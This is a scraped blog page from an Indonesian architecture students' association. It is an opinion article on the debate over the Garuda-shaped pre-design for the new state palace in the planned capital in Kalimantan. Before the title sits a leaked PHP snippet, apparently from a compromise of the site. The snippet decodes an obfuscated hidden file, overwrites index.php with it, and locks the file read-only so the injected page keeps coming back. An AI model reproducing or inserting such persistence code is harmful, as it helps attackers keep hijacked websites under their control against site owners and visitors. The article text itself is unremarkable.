$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Pro Kontra Desain Istana Negara - HIMPUNAN MAHASISWA ARSITEKTUR UNIKOM

Pro Kontra Desain Istana Negara

Gambar pra desain istana negara terbaru (14/4/2021) : Channel youtube Presiden Joko Widodo

Beberapa waktu yang lalu, media sosial tengah ramai memperbincangkan gambar dan video yang menampilkan rencana desain istana negara baru yang akan ditempatkan di Kalimantan. Namun gambar desain istana negara yang ditampilkan memiliki bentuk yang berbeda dengan istana-istana negara yang sudah berdiri sebelumnya, bentuk rencana desain istana ini menyerupai burung garuda.

Foto pra desain istana negara dari depan (14/4/2021) :

https://www.liputan6.com/bisnis/read/4519371/viral-desain-burung-garuda-istana-negara-di-ibu-kota-baru-ini-kata-pemerintah

Foto pra desain istana negara dari samping belakang (14/4/2021) :

https://www.jawapos.com/ibu-kota-baru/02/04/2021/ini-makna-patung-raksasa-garuda-di-istana-negara-ibu-kota-baru/?page=all

Desain ini dibuat oleh Nyoman Nuarta, seorang seniman dan pematung asal Bali. Namun desain awal ini mendapatkan cukup banyak kritik dari berbagai pihak, diantaranya yaitu dari lima asosiasi profesional, yakni Ikatan Arsitek Indonesia (IAI), Green Building Council Indonesia (GBCI), Ikatan Ahli Rancang Kota Indonesia (IARKI), Ikatan Arsitek Landskap Indonesia (IALI), dan Ikatan Ahli Perancangan Wilayah dan Kota (IAP). Dilansir dari Kompas.com (Minggu, 28/3/2021) ketua IAI, yaitu I Ketut Rana Wiarcha mengatakan bahwa bangunan istana negara yang berbentuk burung garuda atau menyerupai burung garuda merupakan simbol yang dalam arsitektur tidaklah mencirikan kemajuan peradaban bangsa Indonesia di era digital. “Sangat tidak mencerminkan kemajuan peradaban bangsa, terutama di era digital, dan era bangunan emisi rendah dan pasca-Covid-19 (new normal),” Beliau berpandangan jika gedung istana negara seharusnya merefleksikan kemajuan peradaban, baik budaya, ekonomi, maupun komitmen pada tujuan pembangunan berkelanjutan negara Indonesia dalam partisipasinya di dunia global. “Bangunan gedung istana negara seharusnya menjadi contoh bangunan yang secara teknis sudah mencirikan prinsip pembangunan rendah karbon dan cerdas sejak perancangan, konstruksi, hingga pemeliharaan gedungnya,” ucap I Ketut Rana Wiarcha. Istana negara sebaiknya dapat menjadi contoh bangunan yang secara teknis dapat mencirikan prinsip pembangunan yang rendah karbon, cerdas sejak perancangan, konstruksi, hingga pemeliharaannya. Metafora dalam dunia perancangan arsitektur era teknologi 4.0 merupakan pendekatan yang mulai ditinggalkan. Kelima asosiasi tersebut menyampaikan rekomendasi untuk gedung istana negara di ibu kota baru. Pertama, istana versi burung garuda disesuaikan menjadi monumen atau tugu yang menjadi tengaran (landmark) pada posisi strategis tertentu di Kawasan Inti Pusat Pemerintahan (KIPP) dan dilepaskan dari fungsi bangunan istana. Kedua, mengusulkan desain bangunan gedung istana agar disayembarakan dengan prinsip dan ketentuan desain yang sudah disepakati dalam hal perancangan kawasan maupun tata ruangnya, termasuk target menjadi model bangunan sehat beremisi nol.

Gambar pra desain istana negara terbaru (14/4/2021) :

Channel youtube Presiden Joko Widodo, https://youtu.be/ngD1Ld7wVJc

Namun beberapa waktu yang lalui Presiden Indonesia, Joko Widodo mengunggah video melalui channel  youtubnya yang menampilkan Kawasan beserta rencana desain istana negara yang terbaru di dalamnya. Dalam deskripsi videonya, beliau mengakatan jika beberapa usulan mengenai bangunan ikonik di ibukota negara yang baru ini didapatkan dari beberapa arsitek dan seniman, salah satunya Nyoman Nuarta, usulan beliau disebut sarat dengan filosofi lambing Burung Garuda sebagai pemersatu bangsa sesuai semboyan Bhinneka Tunggal Ika. Namun usulan ini masih dalam tahap pra desain. Presiden Joko Widodo pun masih membuka kesempatan bagi masyarakat untuk memberikan masukan dan saran mengenai pra desain istana negara ini. Beliau pun mengucapkan harapannya mengenai istana negara tersebut yaitu, “Saya menginginkan Istana Negara tidak hanya dikenang sebagai tempat Presiden bekerja atau menjadi simbol kebanggaan bangsa, tapi juga mencerminkan kemajuan bangsa. Dengan masukan-masukan itu nantinya, saya akan mengundang kembali para arsitek dan para ahli lainnya untuk melakukan pengkayaan pradesain menjadi dasar desain Istana Negara.” Dalam hal ini masih terdapat beberapa pro kontra di tengah masyarakat, Menurut penulis konsep yang akan diterapkan pada istana negara ini cukup bagus, terlepas dari istana negara sebagai symbol. Namun masih banyak hal-hal dasar lain yang perlu diutamakan untuk dipikirkan selain desain. Efisiensi ruang di dalam bangunan pun perlu diperhatikan apabila bangunan memiliki bentuk yang unik. Selain itu bentuk bangunan yang didapat secara metafora dalam mengaplikasikan ide dapat menjadikan bangunan menjadi monumental dan terlalu memikirkan estetika dar bentuknya saja. Sedangkan bentuk bangunan itu menyesuaikan juga dipengarungi dari fungsi apa yang akan diadakan dalam bangunan tersebut (form follows function). Tahap pra desain ini masih memberikan kesempatan bagi pelaku dibidang arsitektur jika ingin memunculkan alternatif desain karena desain bangunan ini masih bisa diolah dengan lebih baik lagi dibandingkan memaksakan satu bentuk untuk diterapkan. Besar harapan semoga desain Kawasan beserta istana negara yang baru kelak dapat menampilkan kualitas dan kemajuan teknologi Bangsa Indonesia, khususnya di bidang arsitektur. Video terbaru pra desain istana negara dapat dilihat pada https://youtu.be/ngD1Ld7wVJc